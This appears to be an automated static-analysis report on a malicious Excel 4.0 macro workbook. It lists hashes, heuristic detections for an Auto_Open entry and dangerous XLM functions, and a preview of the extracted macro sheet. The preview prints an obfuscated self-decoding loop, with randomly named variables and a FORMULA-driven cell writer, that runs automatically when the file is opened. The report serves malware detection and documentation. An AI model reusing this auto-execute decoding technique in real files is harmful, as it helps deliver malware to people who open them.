Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c93a0c79f9777cfc…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:44:18 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: ca372ccd24730d489cd8b9efd082e921 SHA-1: 59ea2977d73ab283da5b8e92d2fb27507ff2ab55 SHA-256: c93a0c79f9777cfcc3758570e6949fe94bf8ec3906b8c7cf889e5522029fe8ce
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6563 bytes
SHA-256: ebf767fd1b582beb55b71bb3d0625f8d56b13d5779816d8274d30b91562062ce
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     17 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wgshKHyU
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H196 
' 0018     24 LABEL : Cell Value, String Constant - BPHCDmGts len=0 
' 0018     23 LABEL : Cell Value, String Constant - buNTaciD len=0 
' 0018     20 LABEL : Cell Value, String Constant - esdQX len=0 
' 0018     27 LABEL : Cell Value, String Constant - FLKPmfvWoGwp len=0 
' 0018     25 LABEL : Cell Value, String Constant - INCxIOfRkE len=0 
' 0018     22 LABEL : Cell Value, String Constant - MRiviBE len=0 
' 0018     22 LABEL : Cell Value, String Constant - MSYloOu len=0 
' 0018     23 LABEL : Cell Value, String Constant - mzOXScjY len=0 
' 0018     21 LABEL : Cell Value, String Constant - NTiwmr len=0 
' 0018     26 LABEL : Cell Value, String Constant - OjGgKAqddRs len=0 
' 0018     25 LABEL : Cell Value, String Constant - oTkycVtTBp len=0 
' 0018     24 LABEL : Cell Value, String Constant - rVkKYIUwN len=0 
' 0018     24 LABEL : Cell Value, String Constant - SCPuUdNgk len=0 
' 0018     26 LABEL : Cell Value, String Constant - SPlwqQUpaTP len=0 
' 0018     25 LABEL : Cell Value, String Constant - SwwyvEcTAU len=0 
' 0018     24 LABEL : Cell Value, String Constant - TePLiQony len=0 
' 0018     24 LABEL : Cell Value, String Constant - UGdbDCHfl len=0 
' 0018     24 LABEL : Cell Value, String Constant - vNcFupvfS len=0 
' 0018     22 LABEL : Cell Value, String Constant - YrmubXr len=0 
' 0018     25 LABEL : Cell Value, String Constant - zjRhxUcClb len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wgshKHyU,H90,"SET.NAME("esdQX",VALUE("0"))",""
'  wgshKHyU,H95,"SET.NAME("INCxIOfRkE",esdQX)",""
'  wgshKHyU,H99,"SET.NAME("NTiwmr",esdQX)",""
'  wgshKHyU,H103,"SET.NAME("mzOXScjY",COUNTA(OjGgKAqddRs))",""
'  wgshKHyU,H107,"SET.NAME("SwwyvEcTAU",COUNTA(SCPuUdNgk))",""
'  wgshKHyU,H111,[],""
'  wgshKHyU,H115,"SET.NAME("SPlwqQUpaTP","")",""
'  wgshKHyU,H119,"INCxIOfRkE",""
'  wgshKHyU,H123,"SET.NAME("UGdbDCHfl",HLOOKUP("*",OjGgKAqddRs,INCxIOfRkE,FALSE))",""
'  wgshKHyU,H128,"TePLiQony",""
'  wgshKHyU,H132,"SET.NAME("YrmubXr",esdQX)",""
'  wgshKHyU,H136,[],""
'  wgshKHyU,H141,"YrmubXr",""
'  wgshKHyU,H145,"MSYloOu",""
'  wgshKHyU,H149,"oTkycVtTBp",""
'  wgshKHyU,H154,"FLKPmfvWoGwp",""
'  wgshKHyU,H159,"SET.NAME("buNTaciD",VALUE(HLOOKUP("*",SCPuUdNgk,FLKPmfvWoGwp,FALSE)))",""
'  wgshKHyU,H164,"zjRhxUcClb",""
'  wgshKHyU,H166,"SPlwqQUpaTP",""
'  wgshKHyU,H170,"NTiwmr",""
'  wgshKHyU,H173,NEXT(),""
'  wgshKHyU,H178,"BPHCDmGts",""
'  wgshKHyU,H180,"SET.NAME("f",INT(T(FORMULA(T(SPlwqQUpaTP)&"",""&T(BPHCDmGts)))))",""
'  wgshKHyU,H183,"MRiviBE",""
'  wgshKHyU,H187,NEXT(),""
'  wgshKHyU,H191,RETURN(),""
'  wgshKHyU,H219,"SET.NAME("vNcFupvfS",H90)",""
'  wgshKHyU,H224,"OjGgKAqddRs",""
'  wgshKHyU,H227,"SET.NAME("SCPuUdNgk",R85C15)",""
'  wgshKHyU,H231,"SET.NAME("MRiviBE",240)",""
'  wgshKHyU,H234,"SET.NAME("rVkKYIUwN",8)",""
'  wgshKHyU,H239,vNcFupvfS(),""
'  wgshKHyU,H240,HALT(),""